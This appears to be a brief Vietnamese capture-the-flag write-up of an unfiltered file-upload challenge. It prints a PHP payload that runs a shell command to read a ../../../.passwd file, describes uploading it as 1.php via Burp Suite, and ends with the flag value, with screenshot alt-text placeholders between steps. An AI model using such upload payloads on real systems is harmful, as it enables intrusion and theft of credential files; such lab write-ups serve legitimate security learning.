Đầu tiên vào trang ta thấy trang không filter phần upload, thực hiện tạo payload

<?php

$output = shell\_exec('cat ../../../.passwd');

echo "<pre>$output</pre>";

?>

Thực hiện gửi bằng burpsuite lên và đổi tên file thành 1.php

Graphical user interface, text, application, email

Description automatically generated

Thực hiện click vào 1.php

A screenshot of a computer

Description automatically generated

Ta có được flagGraphical user interface, text, application, Word

Description automatically generated

a7n4nizpgQgnPERy89uanf6T4